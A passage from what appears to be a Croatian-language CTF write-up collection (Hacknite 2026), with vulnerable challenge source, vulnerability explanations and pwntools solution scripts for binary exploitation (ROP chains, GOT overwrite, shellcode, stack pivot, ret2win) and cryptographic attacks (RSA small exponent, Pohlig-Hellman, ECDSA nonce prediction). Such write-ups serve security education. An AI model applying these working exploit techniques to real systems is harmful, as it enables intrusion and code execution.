    p = remote(HOST, PORT)
else:
    p = process("./a.out")
 
p.send(b"a" * 24)
p.send(b"\x61\xfb\x01\x00")
bss = e.get_section_by_name(".bss").header.sh_addr + 0x200
def set_args(rdi = None, rsi = None, rdx = None):
    payload = b""
    batman_gadgets = e.sym["batman_gadgets"]
    if rdi != None:
        payload += p64(batman_gadgets + 31) + p64(rdi)
    if rsi != None:
        payload += p64(batman_gadgets + 29) + p64(rsi) + p64(0)
    if rdx != None:
        payload += p64(batman_gadgets + 21) + p64(rdx) + p64(0) * 5
    return payload
 
p.clean(2)
 
payload = b"A" * 0x1d
payload += set_args(0,bss,8)
payload += p64(0x4010a0) #read@plt
payload += set_args(0x403fd8)
payload += p64(0x401050)
payload += p64(e.sym["secret_intro"])
 
p.sendline(payload)
 
p.send(b"/bin/sh\x00")
 
libc_leak = p.recvline()[:-1]
libc_leak = u64(libc_leak + b"\x00" * (8 - len(libc_leak) % 8))
 
execve = libc_leak - l.sym["__libc_start_main"] + l.sym["execve"] 
 
payload = b"A" * 0x1d
payload += set_args(bss, 0, 0)
payload += p64(execve)
 
p.sendline(payload)
 
p.interactive()

Colorizer

Dugo očekivana aplikacija napokon je na tržištu! Oboji svoj ASCII art kako god želiš!

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 19003

Kontekst zadatka

 Colorizer

Izvorni kod:

...
unsigned char effects[MAX];
const char* commands[12] = {"BLACK", "RED", "GREEN", "YELLOW", "BLUE",\
	"PURPLE", "BROWN", "WHITE", "MOVE", "RETURN", "ERASE", "QUIT"};
 
int main(){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	system("clear");
	system("cat banner.txt");
	cout << "Dugo očekivana aplikacija napokon je izašla na tržište!\n"
		"Uređivanje ASCII umjetnosti nikada nije bilo lakše.\n"
		"Unesite vlastiti ASCII art i obojite ga kako god želite, kada god želite\n"
		"i gdje god želite!\n";
 
	cout << "\n" << BLINK << "<ENTER>\n" << RESET;
	getchar();
	system("clear; cat banner.txt");
 
	cout << "Za odabir opcije unesite tekst koji će biti prikazan na ekranu.\n"
		"Odabir opcije će se primijeniti na poziciji na kojoj se pokazatelj trenutno "
		"nalazi (prikazan s " << CURSOR << "O" << RESET << ").\n"
		<< "Pritiskom <ENTER> prijašnje odabrana opcija će se primijeniti i na trenutnoj "
		"poziciji.\n\n" << BLINK << "<ENTER>\n" << RESET;
 
	getchar();
	colorize();
	exit(0);
	return 0;
}
 
void colorize(){
	system("clear; cat banner.txt");
	cout << "Unesi ASCII art>> \n";
 
	char* buf = (char*) malloc(MAX);
 
	struct pollfd pfd;
	pfd.fd = 0;
	pfd.events = POLLIN;
	int max = 0;
 
	do {
		int n = read(0, buf + max, MAX - max - 1);
		max += n;
		int ret = poll(&pfd, 1, 200);
		if(ret <= 0) {
		    break;
		}
	}
	while(max < (MAX - 1));
 
	if (strcmp(buf,"\n") == 0){
		cout << "Krivi input, izlaz." << endl;
		exit(0);
	}
 
	int idx = max;
	buf[max] = 0;
 
	string command = "";
	string last_command = "MOVE";
 
	while(1){
		if(buf[idx%max] == '\n'){
			if(last_command == "RETURN"){
				idx--;
				continue;
			}
			else{
				idx++;
				continue;
			}
		}
		system("clear");
		print_ascii(buf, idx, max);
		print_options();
		cout << "\nOption: ";
		getline(cin,command);
		if(command == ""){
			command = last_command;
		}
		for(int i = 0; i < 8; i++){
			if(command == commands[i]){
				effects[idx%max] |= 1<<i;
				idx++;
				break;
			}
		}
		if(command == commands[8]){
			idx++;
		}
		else if(command == commands[9]){
			idx--;
		}
		else if(command == commands[10]){
			effects[idx%max] = 0;
			idx++;
		}
		else if(command == commands[11]){
			break;
		}
		last_command = command;
	}
	system("clear");
	cout << "Uređivanje završilo.\n"
		"ASCII art:\n";
	print_ascii(buf, -1, max);
}
...

Izlaz naredbe file i pwn checksec:

file a.out:
a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /ctf/libs/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=a9c735f82be73122c00469c6653d40bcefe934d0, not stripped
 
pwn checksec a.out:
[!] Could not populate PLT: Invalid argument (UC_ERR_ARG)
[*] '/hacknite_2026/pwn/colorizer/a.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)
    RPATH:    b'./libs/'

Program predstavlja ASCII editor za dodavanje ANSI efekata. Korisniku su dane različite mogućnosti dodavanja boje, brisanja boje, pomicanje pokazivača i slično.

Funkcijom main, nakon ispisa uvoda, poziva se funkcija colorize. Unutar nje, korisnika se traži unos u varijablu buf koji predstavlja ASCII simbole koji se editiraju. Polje effects definirano u .bss sekciji predstavlja efekte koji će biti prikazani u ispisu.

Svaki simbol u varijabli buf ima za sebe definiran efekt poljem effects, gdje je korelacija definirana indeksom. Na primjer, effects[0] definira efekte za buf[0] itd… Indeks pokazivača na simbol koji se uređuje predstavljen je varijablom int idx = max gdje je max veličina unosa u polje buf. Pokazivač idx se pomiče ciklički jer je ograničen varijablom max, odnosno:

		for(int i = 0; i < 8; i++){
			if(command == commands[i]){
				effects[idx%max] |= 1<<i;
				idx++;
				break;
			}
		}

Ranjivost i ideja napada

Ranjivost je način korištenja operatora % za ograničavanje varijable idx. Operator % u C programskom jeziku očuva predznak vrijednosti, odnosno, ako je idx negativan, rezultat operatora % će također biti negativan. To je djelomično prikriveno u programu jer je idx inicijaliziran na vrijednost max. Pomicanje pokazivača unatrag naredbom RETURN u prvom ciklusu i dalje ispravno pokazuje na effects polje. Jednom kada idx postane negativan, dobije se out of bounds primitiv kojim je moguće uređivati bajtove prije effects polja, odnosno, .got.plt sekcije.

Kako bi se zadatak riješio, najprije je potrebno poslati dovoljno velik unos u polje buf kako bi ograničenje varijablom max bilo dovoljno veliko za offset do .got.plt sekcije. Zatim korištenjem naredbe RETURN potrebno je doći do vrijednosti u .got.plt koje je potrebno prepisati. U rješenju se koriste funkcije strcmp i exit koje se redom prepisuju na vrijednosti adresa funkcija system i colorize.

Primitiv za pisanje po memoriji dan je samim naredbama programa. ERASE se koristi za postavljanje bajta na 0x00. Različite boje se koriste za postavljanje bitova u bajtu:

		for(int i = 0; i < 8; i++){
			if(command == commands[i]){
				effects[idx%max] |= 1<<i;

Kada se vrijednosti ispravno prepišu i uređivanje se završi, funkcija main poziva exit koja zbog prepisivanja ponovno poziva colorize. Unutar colorize se poziva strcmp, odnosno system, s argumentom buf u kojem se nalazi proizvoljni string nakon ponovnog upita za unos (“/bin/sh”).

Rješenje

from pwn import *
 
e = ELF("./a.out")
 
colors = [b"BLACK", b"RED", b"GREEN", b"YELLOW", b"BLUE", b"PURPLE", b"BROWN", b"WHITE"]  
 
if args.D:
    p = gdb.debug("./a.out", "c")
elif args.R:
    p = remote("HOST", port)
else:
    p = process("./a.out")
 
p.sendline()
p.sendline()
payload = b"A" * 0x400
p.send(payload)
sleep(1)
for _ in range(0x400):
    p.sendline("RETURN")
 
strcmp_addr = e.sym["got.strcmp"]
exit_addr = e.sym["got.exit"]
colorize = 0x4024da
system_plt = 0x4020f0
 
effects = e.sym["effects"]
 
for _ in range(effects - strcmp_addr):
    p.sendline(b"RETURN")
 
for _ in range(8):
    p.sendline(b"ERASE")
 
for _ in range(8):
    p.sendline(b"RETURN")
 
def setup_byte(byte):
    for i in range(8):
        if(b & (1<<i)):
            p.sendline(colors[i])
            p.sendline(b"RETURN")
 
for b in p64(system_plt):
    setup_byte(b)
    p.sendline(b"MOVE")
 
for _ in range(8):
    p.sendline(b"RETURN")
 
for _ in range(strcmp_addr - exit_addr):
    p.sendline(b"RETURN")
 
for _ in range(8):
    p.sendline(b"ERASE")
 
for _ in range(8):
    p.sendline(b"RETURN")
 
for b in p64(colorize):
    setup_byte(b)
    p.sendline(b"MOVE")
 
p.sendline(b"QUIT")
p.send(b"/bin/sh\x00")
p.interactive()

Fix Me

Treba mi pomoć! Funkcija mi ne radi ispravno. Dajem ti source kod da vidiš što treba raditi. Molim te, popravi ju.

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 19001

Kontekst zadatka

Dana je binarna datoteka s izvornim kodom:

void funkcija(){
	long a = 5;
	int b = 100;
	short brojevi[10];
	long rezultat = 0;
	for(int i = 0; i < 100; i++){
		rezultat++;
		brojevi[i%10] = 3 + b/a;
		b -= a;
		a += b;
		rezultat *= a+b;
		rezultat = rezultat % 2^15;
	}
	printf("Rezultat je: %ld\n", rezultat);
}
 
int main(){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
 
	printf(banner);
	printf("\n\nMoja funkcija se krivo kompajlirala"
		", možeš li joj popraviti bajtove?\n\n");
 
	while(1){
		printf("Run or fix? ");
		char buf[8];
		fgets(buf, 8, stdin);
		if (strncmp("run", buf, 3) == 0) funkcija();
		else if (strncmp("fix", buf, 3) == 0) {
			unsigned char* byte =  (unsigned char*) &funkcija;
			while(*byte != 0xc3) {
				printf("0x%02X -> ", *byte);
				unsigned char new_byte;
				scanf("0x%hhx", &new_byte);
				getchar();
				*byte = new_byte; 
				byte++;
			}
			printf("\n");
		}
	}
 
	return 0;
}

Korisnik ima opciju pokretanja funkcije funkcija unosom “run” ili popravljanja iste funkcije unosom “fix”.

Unosom “fix” korisnik prepisuje bajtove funkcije funkcija.

Ranjivost i ideja napada

S obzirom na to da korisnik upisuje bajtove funkcije koja se kasnije pozivaju, radi se o unosu shellcodea. Potrebno je generirati shellcode za pozivanje ljuske. Rješenje koristi instrukciju syscall.

Rješenje

from pwn import *
 
context.arch = "amd64"
context.os = "linux"
 
e = ELF("a.out")
 
funkcija = e.sym["funkcija"]
 
shellcode = asm(f"""
        xor rsi, rsi
        xor rdx, rdx
        mov rdi, {funkcija + 22}
        mov rax, 59
        syscall
        """)
 
if args.D:
    gdb.debug("./a.out")
elif args.R:
    p = remote(HOST, PORT)
else:
    p = process("./a.out")
 
p.sendline(b"fix")
 
for b in shellcode:
    p.sendline(hex(b).encode())
 
for b in b"/bin/sh\x00":
    p.sendline(hex(b).encode())
 
p.sendline(b"a"*100)
p.clean(0.5)
p.sendline(b"run")
p.interactive()

Sladoledarnica

Ljeto je završilo, ali uvijek je vrijeme za sladoled. Naruči svoje kuglice!

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 19002

Kontekst zadatka

 Sladoledarnica

Dan je izvorni kod:

...
char* unos_narudzba;
int idx;
int unos_idx;
 
void kupon(){
	FILE* flag = fopen("./flag.txt","r");
	char buf[30] = {0};
	fread(buf,1,29,flag);
	char buf2[200] = {0};
	snprintf(buf2,200, "Hvala na kupnji!\n"
		"Nadamo se da ste uživali u sladoledu.\n"
		"Iskoristite ovaj kupon idući put: %s\n", buf);
	puts(buf2);
}
 
unsigned long narudzba(){
	unos_narudzba = (char *) malloc(0x1000);
	unsigned long cijena;
	char* odabrani_sladoled[5] = {0};
	ponovi:
	memset(unos_narudzba, 0, 0x1000);
	cijena = 0;
	idx = 0;
	unos_idx = 0;
	printf("Koja je vaša narudžba? Slobodno nam ostavite i komentar!\n> ");
	fgets(unos_narudzba, 0x1000, stdin);
 
	for(; (idx < sizeof(odabrani_sladoled)) && (unos_idx < 0x1000); unos_idx++){
		for(volatile int i = 0; i < 6; i++){
			if ((strncmp(sladoled[i].okus, unos_narudzba+unos_idx, strlen(sladoled[i].okus))) == 0){
				odabrani_sladoled[idx++] = unos_narudzba + unos_idx;
				cijena += sladoled[i].cijena;
				break;
			}
		}
		if ((strncmp("ponovi", unos_narudzba+unos_idx, 6)) == 0) goto ponovi;
		if ((strncmp("gotovo", unos_narudzba+unos_idx, 6)) == 0) break;
	}
 
	if (cijena > 5) {
		printf("Odabrali ste više od 5 kuglica.\n");
		exit(0);
	}
 
	return cijena;
}
 
int main(){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	puts(banner);
	printf( "Dobrodošli u ovogodišnju sladoledarnicu!\n\n"
		"U ponudi su fini okusi poput %s, %s, %s i mnogi drugi.\n"
		"Možete odabrati najviše pet kuglica.\n"
		"Na kraju nemojte zaboraviti platiti!\n", sladoled[0].okus, sladoled[1].okus, sladoled[2].okus);
 
	unsigned long cijena = narudzba();
 
	printf("Cijena vašeg sladoleda je %lu €. Doviđenja!\n", cijena);
 
	return 0;
}

Program od korisnika traži unos narudžbe sladoleda. Ima opciju upisati okuse poput vanilije i čokolade, ali i opciju ponavljanja narudžbe unosom “ponovi”.

Ranjivost i ideja napada

Ranjivost programa nalazi se u liniji:

	for(; (idx < sizeof(odabrani_sladoled)) && (unos_idx < 0x1000); unos_idx++){

Sizeof() operator vraća veličinu polja u bajtovima, a ne broj članova polja. Drugim riječima, varijabla idx bit će veća od pet ako korisnik upiše više od pet okusa sladoleda. Time korisnik dobije unos heap adresa na stog.

Unos heap adrese na poziciju return adrese srušit će program, što znači da nije moguća klasična izmjena toka programa.

Međutim, prije return adrese nalazi se spremljena vrijednost RBP registra, što dopušta stack pivot.

Ako se u unosu narudžbe krivotvori okvir stoga s return adresom funkcije kupon te se spremljena vrijednost RBP registra izmijeni na adresu okvira, na izlazu iz main funkcije pozvati će se kupon.

Rješenje

from pwn import *
 
e = ELF("./a.out")
r = ROP("./a.out")
 
if args.D:
    p = gdb.debug("./a.out")
elif args.R:
    p = remote(HOST, PORT)
else:
    p = process("./a.out")
 
p.sendline(b"A" * 0x900 + b"vanilija"*7 + b"ponovi")
length = len(b"vanilija" * 6) + 0x900
 
kupon = e.sym["kupon"]
payload = b"A" * length + p64(12345678) + p64(r.ret.address) + p64(kupon) + b"gotovo"
p.sendline(payload)
p.interactive()

Napomena: b“A” * 0x900 se šalje kako bi stog imao dovoljno prostora za pozive unutar kupon funkcije bez rušenja programa.

Warmup

Vrijeme je za binarnu eksploataciju! Zagrij se uz ovaj zadatak.

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 19000

Kontekst zadatka

Dana je binarna datoteka s izvornim kodom:

#include <stdio.h>
#include <stdlib.h>
 
void ret2win(){
	system("/bin/sh");
}
 
int main(){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	system("printf \"Hacknite 2026\nWarmup\n\" | figlet");
	printf("Pozdrav!\n"
		"Kako se zoveš?\n> ");
	char buf[0x20] = {0};
	scanf("%s", buf);
	printf("Bok %s, drago mi je.\n", buf);
	return 0;
}

Program pita korisnika za ime i ispisuje string s imenom.

Ranjivost i ideja napada

Riječ je o jednostavnom ret2win napadu. Funkcija scanf koristi parametar %s, što je nesiguran način unosa stringa jer je neograničena veličina. Time korisnik ima stack buffer overflow kojim može prepisati return adresu na ret2win funkciju.

Rješenje

from pwn import *
 
e = ELF("./a.out")
r = ROP("./a.out")
 
if args.D:
    p = gdb.debug("./a.out")
elif args.R:
    p = remote(HOST, PORT)
else:
    p = process("./a.out")
 
p.sendline(b"A" * 0x28 + p64(r.ret.address) + p64(e.sym["ret2win"]))
p.interactive()

Kriptografija

Beginner RSA

Priložena je jednostavna RSA enkripcija nad tajnom porukom. Možeš li ju dekriptirati?

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 16000

Kontekst zadatka

Izvorni kod:

#!/usr/bin/python3
 
from Crypto.Util.number import *
import os
 
flag = b"CTF2026[????????????]"
flag = bytes_to_long(flag)
 
N = getPrime(512) * getPrime(512)
e = 123 
C = pow(flag,e,N)
 
os.system("figlet Beginner RSA")
 
print(f"\nN = {N}")
print(f"C = {C}")

Korisniku se ispiše modulo N i enkripcija zastavice javnim ključem 123.

Ranjivost i ideja napada

Ranjivost je korištenje malenog javnog eksponenta. Sakupljanjem dovoljno parova enkripcije i modula N, korisnik može rekonstruirati rezultat eksponencije i vrijednosti zastavice.

Rješenje

from Crypto.Util.number import *
from sage.all import *
from pwn import *
 
moduli = []
enc = []
 
for i in range(21):
    if args.R:
        p = remote(HOST, PORT)
    else:
        p = process(["python3", "zadatak.py"])
    p.recvuntil(b"N = ")
    N = p.recvline()[:-1]
    p.recvuntil(b"C = ")
    C = p.recvline()[:-1]
    moduli.append(int(N))
    enc.append(int(C))
    if args.R:
        p.close()
    else:
        p.kill()
 
m = crt(enc, moduli)
print(long_to_bytes(m.nth_root(123)))

Diffie Hellman

Implementiran je jednostavni algoritam Diffie-Hellman za kreiranje simetričnog ključa. Možeš li saznati privatni ključ?

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 16001

Kontekst zadatka

Dan je izvorni kod sa sakrivenom zastavicom:

#!/usr/bin/python3
 
from Crypto.Util.number import *
import os
flag = b"CTF2026[????????????]"
flag = bytes_to_long(flag)
 
N = getPrime(128)
G = getPrime(20)
 
os.system("figlet -f big Diffie Hellman")
print(f"\nN = {N}")
print(f"G = {G}\n")
print(f"Moj dio ključa: {pow(G,flag,N)}")
try:
    key = int(input("Tvoj dio ključa: ")) % N
except:
    exit()
 
key = pow(key,flag,N)
poruka = bytes_to_long(b"Hacknite 2026")
print(f"Poruka: {poruka^key}")

Implementiran je jednostavni algoritam Diffie Hellman. Korisniku se pošalju generator G, modulo N i poslužiteljev dio ključa pri čemu je tajni eksponent zastavica.

Zatim, od korisnika se traži njegov dio ključa nakon čega se šalje enkriptirana poruka “Hacknite 2026”.

Ranjivost i ideja napada

Ranjivost je primanje proizvoljnog ključa bez provjere reda generatora. Korisnik može izvesti Pohlig-Hellman napad, odnosno poslati generatore manjeg reda i skupljati podatke o dobivenim rezultatima.

Nakon dovoljno sakupljenih podataka, korištenjem CRT algoritma, korisnik može rekonstruirati tajni ključ.

Rješenje

from sage.all import *
from Crypto.Util.number import *
from pwn import *
 
M = 1
factors = []
remainders = []
poruka = bytes_to_long(b"Hacknite 2026")
 
while(len(bin(M))<171):
    if args.R:
        p = remote(HOST, PORT)
    else:
        p = process(["python3","zadatak.py"])
    p.recvuntil(b"N = ")
    N = int(p.recvline()[:-1])
    p.recvuntil(b"G = ")
    G = int(p.recvline()[:-1])
    p.recvuntil("Moj dio ključa: ".encode("UTF-8"))
    key1 = int(p.recvline()[:-1])
 
    for f,n in factor(N-1):
        l = len(bin(f)) - 2
        if l > 18:
            continue
        if f not in factors and n == 1:
            F = GF(N)
            G2 = F(G)
            G2 = pow(G2, (N-1)//f, N)
            while(G2 == 1):
                G2 = F(getPrime(25))
                G2 = pow(G2, (N-1)//f, N)
            p.sendline(str(int(G2)).encode())
            p.recvuntil(b"Poruka: ")
            target = int(p.recvline()[:-1]) ^ poruka
            for r in range(0,f):
                if pow(G2,r,N) == target:
                    factors.append(f)
                    M *= f
                    remainders.append(r)
                    break
            break
    if args.R:
        p.close()
    else:
        p.kill()
 
print(remainders, factors)
flag = crt(remainders, factors)
print(long_to_bytes(flag))

Easy XOR

flag.enc je enkriptirani flag u uobičajenom formatu.
Znamo da je enkriptiran pomoću XOR-a, korištenjem ključa koji je kraći od zastavice
i ciklički se ponavlja, no ključ ni njegova duljina nisu poznati.
Možete li dešifrirati flag?

Također je poznat i bcrypt hash flaga:

$2y$14$nJYvy7QPUEO.ZrDuznzekeoqsczV0652HwW2g1WPfhSjphnpUNyiq

Kontekst zadatka

Dana je enkripcija zastavice i opis zadatka u kojemu je otkriveno da je korišten ključ kraći od zastavice te se ciklički ponavlja. Također je dan bcrypt sažetak zastavice. Pošto je bcrypt komputacijski vrlo zahtjevan algoritam, potrebno je smanjiti broj mogućih kandidata na što manji skup prije zadnjeg koraka pronalaska zastavice s pomoću bcrypt sažetka.

Rješenje

#!/usr/bin/env python3
 
PREFIX = b"CTF2026["
SUFFIX = b"]"
 
with open("flag.enc", "rb") as f:
    ct = f.read()
 
N = len(ct)
 
 
def candidates_for_key_position(key_len, key_pos):
    candidates = set(range(256))
    for i in range(N):
        if i % key_len != key_pos:
            continue
        if i < len(PREFIX):
            allowed_plaintext = [PREFIX[i]]
        elif i == N - 1:
            allowed_plaintext = [ord("]")]
        else:
            allowed_plaintext = range(ord("0"), ord("9") + 1)
        allowed_key = {
            ct[i] ^ p
            for p in allowed_plaintext
        }
        candidates &= allowed_key
    return sorted(candidates)
 
def get_key_candidates(key_len):
    return [
        candidates_for_key_position(key_len, k)
        for k in range(key_len)
    ]
 
def decrypt(key):
    return bytes(
        ct[i] ^ key[i % len(key)]
        for i in range(N)
    )
 
print(f"[+] Ciphertext length: {N}")
print("[+] Searching for KEY_LEN...\n")
possible_lengths = []
for key_len in range(1, N):
    candidates = get_key_candidates(key_len)
    if all(candidates):
        possible_lengths.append((key_len, candidates))
        print(f"[+] KEY_LEN={key_len} is possible")
    else:
        print(f"[-] KEY_LEN={key_len} impossible")
if len(possible_lengths) != 1:
    print()
    print(f"[!] Expected exactly one key length, found {len(possible_lengths)}")
    exit(1)
 
key_len, candidates = possible_lengths[0]
print()
print("=" * 70)
print(f"[+] UNIQUE KEY_LEN = {key_len}")
print("=" * 70)
print()
print("[+] Key byte candidates:")
for i, c in enumerate(candidates):
    print(f"    key[{i:2}] = {c}")
 
import itertools
num_combinations = 1
for c in candidates:
    num_combinations *= len(c)
print()
print(f"[+] Total possible keys: {num_combinations:,}")
print("[+] Searching for valid flag...\n")
solutions = []
for key_tuple in itertools.product(*candidates):
    key = bytes(key_tuple)
    plaintext = decrypt(key)
    if not plaintext.startswith(PREFIX):
        continue
    if not plaintext.endswith(SUFFIX):
        continue
    middle = plaintext[len(PREFIX):-len(SUFFIX)]
    if not middle:
        continue
    if not all(48 <= b <= 57 for b in middle):
        continue
    solutions.append((key, plaintext))
 
print("=" * 70)
 
if not solutions:
    print("[!] No valid key/flag found.")
    exit(1)
 
print(f"[+] Found {len(solutions)} solution(s)")
print("=" * 70)
 
for n, (key, flag) in enumerate(solutions, 1):
    print()
    print(f"Solution #{n}")
    print("-" * 40)
    print(f"KEY_LEN : {len(key)}")
    print(f"KEY HEX : {key.hex()}")
    print(f"KEY     : {key!r}")
    print(f"FLAG    : {flag.decode()}")
 
import bcrypt
FLAG_HASH = b"$2y$14$nJYvy7QPUEO.ZrDuznzekeoqsczV0652HwW2g1WPfhSjphnpUNyiq"
print()
print("=" * 70)
print(f"[+] Testing {len(solutions)} candidate flags against bcrypt hash")
print("=" * 70)
for n, (key, flag) in enumerate(solutions, 1):
    print(f"[+] Checking candidate {n}/{len(solutions)}: {flag.decode()}")
    if bcrypt.checkpw(flag, FLAG_HASH):
        print()
        print("=" * 70)
        print("[+] MATCH FOUND")
        print("=" * 70)
        print(f"KEY_LEN : {len(key)}")
        print(f"KEY HEX : {key.hex()}")
        print(f"KEY     : {key!r}")
        print(f"FLAG    : {flag.decode()}")
        print("=" * 70)
        break
else:
    print()
    print("[!] None of the candidates matched the bcrypt hash.")

ECC Log In

Kako bi se korisnik autentificirao, dodijeljen mu je ECC potpis nakon registracije. Možeš li pronaći grešku u implementaciji?

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 16005

Kontekst zadatka

Dan je izvorni kod:

#!/usr/bin/python3

from Crypto.Util.number import *
import random, time, os
from ECC import *
from secret import *

Q = scale(G, d)

def log_in():
    try:
        username = input("Unesi korisničko ime: ")
        signature = input("Unesi potpis korisničkog imena: ").strip("()").split(",")
        h = bytes_to_long(username.encode("UTF-8"))
        r, s = int(signature[0]) % n, int(signature[1]) % n
        if r == 0 or s == 0:
            print("Krivotvoren potpis")
            exit()
        s_inv = inverse(s, n) 
        u1 = (h * s_inv) % n
        u2 = (r * s_inv) % n
        R_1 = scale(G, u1)
        R_2 = scale(Q, u2)
        R = add(R_1, R_2)
        if (R.x % n) == r:
            print(f"Dobrodošao {username}")
            if username == "Admin":
                print(f"{flag=}")
        else:
            print("Neispravan potpis")
        exit()
    except:
        exit()

def register():
    try:
        username = input("Unesi korisničko ime: ")
        u = bytes_to_long(username.encode("UTF-8"))
        u = u % n
        username = long_to_bytes(u).decode("UTF-8")
        if username == "Admin":
            print("Zabranjeno")
            exit()
        h = bytes_to_long(username.encode("UTF-8"))
        random.seed(int(time.time()) + d % 1000)
        k = random.randint(1, n-1)
        R = scale(G, k)
        r = R.x % n
        s = 0
        while (s == 0):
            while(r == 0):
                k = random.randint(1, n-1)
                R = scale(G, k)
                r = R.x % n
            s = (inverse(k, n) * (h + r * d)) % n
        signature = (r, s)
        print(f"Potpis = {signature}")
    except Exception as e:
        print(e)
        exit()

os.system("figlet -f big ECC Log In")

print("\nOdaberi opciju:")
print("1. Registracija\n2. Prijava")
opcija = input("Opcija [1/2]: ")
if opcija == "1":
    register()
elif opcija == "2":
    log_in()

Korisniku su ponuđene opcije registracije i prijave.

Kako bi se registrirao, potrebno je unijeti korisničko ime nakon čega poslužitelj vraća digitalni potpis korisničkog imena.

Da bi se korisnik prijavio, potrebno je unijeti korisničko ime i ispravni digitalni potpis.

Ranjivost i ideja napada

Ranjivost u implementaciji je predvidljivi seed za random modul u liniji:

        random.seed(int(time.time()) + d % 1000)

Bruteforce napadom moguće je saznati korišteni nonce i dobiti privatni ključ formulom: d = (s * k - h) * r^-1 % n.

Jednom kada je tajni ključ poznat, može se krivotvoriti potpis za admina: s = k^-1 * (h + r * d) % n.

Rješenje

from pwn import *
from Crypto.Util.number import *
from ECC import *
import time, random

if args.R:
    p = remote(HOST, PORT)
else:
    p = process("./zadatak.py")
p.sendline(b"1")

p.recvuntil("Unesi korisničko ime: ".encode("UTF-8"))
p.sendline(b"gibberish")
t = int(time.time())
p.recvuntil(b"Potpis = ")
signature = p.recvline()[:-1].strip(b"()").split(b",")
r, s = int(signature[0]), int(signature[1])
if args.R:
    p.close()
else:
    p.kill()
# s = k^-1 * (h + r * d) % n
# d = (s * k - h) * r^-1 % n

h = bytes_to_long(b"gibberish")

for i in range(0,1000):
    t1 = t + i
    random.seed(t1)
    k = random.randint(1, n-1)
    r1 = scale(G,k).x % n
    if r1 == r:
        break

if r1 != r:
    exit()

d = (s * k - h) * inverse(r,n) % n
Q = scale(G,d)
h = bytes_to_long(b"Admin")
k = 1
r = G.x % n
s = (inverse(k, n) * (h + r * d)) % n

if args.R:
    p = remote(HOST, PORT)
else:
    p = process("./zadatak.py")
p.sendline(b"2")
p.recvuntil("Unesi korisničko ime: ".encode("UTF-8"))
p.sendline(b"Admin")
p.sendline(f"({r},{s})".encode())
p.recvuntil(b"flag=")
print(p.recvline()[:-1])

Play fair

Pronađen je čudan program sa sakrivenom porukom. Možeš li saznati koje je značenje poruke?

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 16002

Kontekst zadatka

 Playfair

Izvorni kod:

#!/usr/bin/python3
 
from secret import *
import os, time, sys
 
characters = [ chr(b) for b in range(32, 127) ]
table = []
 
for char in phrase:
    if char not in table and char in characters:
        table.append(char)
for char in characters:
    if char not in table:
        table.append(char)
 
key = [[0 for _ in range(19)] for _ in range(5)]
index = 0
for row in range(5):
    for col in range(19):
        key[row][col] = table[index]
        index += 1
 
def find_position(char, key):
    for row in range(5):
        for col in range(19):
            if key[row][col] == char:
                return row, col
    return None
 
def encrypt(text, key):
    cipher = ""
    for c in text:
        if c not in characters:
            print("Simbol nije dozvoljen")
            exit(0)
    if len(text) % 2 == 1:
        text += "."
 
    for i in range(len(text)//2):
        pair = text[i*2:i*2+2]
        if pair[0] == pair[1]:
            pair = pair[0] + "."
        row1, col1 = find_position(pair[0], key)
        row2, col2 = find_position(pair[1], key)
 
        if row1 == row2:
            col1 = (col1 + 1) % 19
            col2 = (col2 + 1) % 19
            cipher += key[row1][col1] + key[row2][col2]
        elif col1 == col2:
            row1 = (row1 + 1) % 5
            row2 = (row2 + 1) % 5
            cipher += key[row1][col1] + key[row2][col2]
        else:
            tmp1 = col1
            col1 = col2
            col2 = tmp1
            cipher += key[row1][col1] + key[row2][col2]
    return cipher
 
def decrypt(cipher, key):
    text = ""
    for c in cipher:
        if c not in characters:
            print("Simbol nije dozvoljen")
            exit(0)
    if len(cipher) % 2 == 1:
        print("Krivi ciphertext")
        exit()
 
    for i in range(len(cipher)//2):
        pair = cipher[i*2:i*2+2]
 
        row1, col1 = find_position(pair[0], key)
        row2, col2 = find_position(pair[1], key)
 
        if row1 == row2:
            col1 = (col1 - 1) % 19
            col2 = (col2 - 1) % 19
            text += key[row1][col1] + key[row2][col2]
        elif col1 == col2:
            row1 = (row1 - 1) % 5
            row2 = (row2 - 1) % 5
            text += key[row1][col1] + key[row2][col2]
        else:
            tmp1 = col1
            col1 = col2
            col2 = tmp1
            text += key[row1][col1] + key[row2][col2]
    return text
 
with open("/ctf/table.txt") as f:
    table = f.read().split("\n")
 
os.system("clear")
os.system("figlet -f big PlayFair")
 
encryption = encrypt(flag, key)
skip = input("\nPrikaži enkripciju? [Y/n]: ")
if skip != "n":
    print("Flag enkripcija: ")
    for i in range(len(encryption)):
        char = encryption[i]
        row, col = find_position(char, key)
        for bg in ["\033[41m", ""]:  
            output = ""
            for j in range(5):
                output += table[j*2] + "\n"
                content = table[j*2+1]
                if bg and j == row:
                    # Highlight only the character at this position
                    pos = 0
                    # Add content before the highlighted character
                    output += content[pos:col*4+1]
                    # Add the highlighted character
                    output += bg + content[col*4+1:col*4+4] + "\033[0m"
                    pos = col*4+4
                    # Add the rest of the content
                    output += content[pos:] + "\n"
                else:
                    output += content + "\n"
            output += table[10]
            print(output)
            sys.stdout.flush()
            time.sleep(1)
            print("\033[11A", end="")
            print("\033[J", end="")
            sys.stdout.flush()
    print("\033[1A\033[J", end="")
    sys.stdout.flush()
 
try:
    print("\033[1A\033[J", end="")
    sys.stdout.flush()
    while(True):
        plaintext = input("Poruka: ")
        print("Enkripcija:", encrypt(plaintext, key))
except:
    exit()

Zadatak koristi Playfair algoritam nad tablicom veličine 5*19. Kada se pokrene, nudi opciju prikazivanja enkripcije zastavice nakon čega enkriptira unos korisnika u petlji.

